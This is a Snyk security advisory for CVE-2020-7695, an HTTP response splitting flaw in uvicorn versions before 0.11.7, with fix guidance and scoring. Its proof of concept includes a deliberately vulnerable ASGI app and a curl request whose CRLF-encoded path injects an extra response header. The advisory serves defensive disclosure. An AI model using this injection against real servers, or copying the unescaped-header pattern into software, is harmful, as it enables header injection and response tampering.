HTTP Response Splitting

Affecting uvicorn package, versions [,0.11.7)

MEDIUM

INTRODUCED: 10 JUL 2020 CVE-2020-7695 CWE-113 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `uvicorn` to version 0.11.7 or higher.

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to HTTP Response Splitting. Uvicorn's implementation of the HTTP protocol for the httptools parser is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.

PoC

```
async def app(scope, receive, send): assert scope['type'] == 'http' await send({ 'type': 'http.response.start', 'status': 200, 'headers': [ [b'Content-Type', b'text/plain'], [b'Referer', scope['path'].encode()], ] }) await send({ 'type': 'http.response.body', 'body': b'Hello, world!', })
uvicorn poc-3:app --port 9999 --http httptools
```

To exploit this vulnerability, make a GET request with a crafted URL path like so:

```
curl -v 'http://localhost:9999/foo%0d%0abar:%20baz&#39;
```

Uvicorn will return an additional HTTP header "bar" with the value "baz":

```
- Trying 127.0.0.1...
- Connected to localhost (127.0.0.1) port 9999 (#0) > GET /foo%0d%0abar:%20baz HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: / >


< HTTP/1.1 200 OK < date: Sun, 26 Apr 2020 22:38:18 GMT < server: uvicorn < content-type: text/plain < referer: /foo < bar: baz < transfer-encoding: chunked <
```

References

- Uvicorn Repository

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low

See more

NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-PYTHON-UVICORN-570471
Published	20 Jul 2020
Disclosed	10 Jul 2020
Credit	Everardo Padilla Saca

Report a new vulnerability | Found a mistake?

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.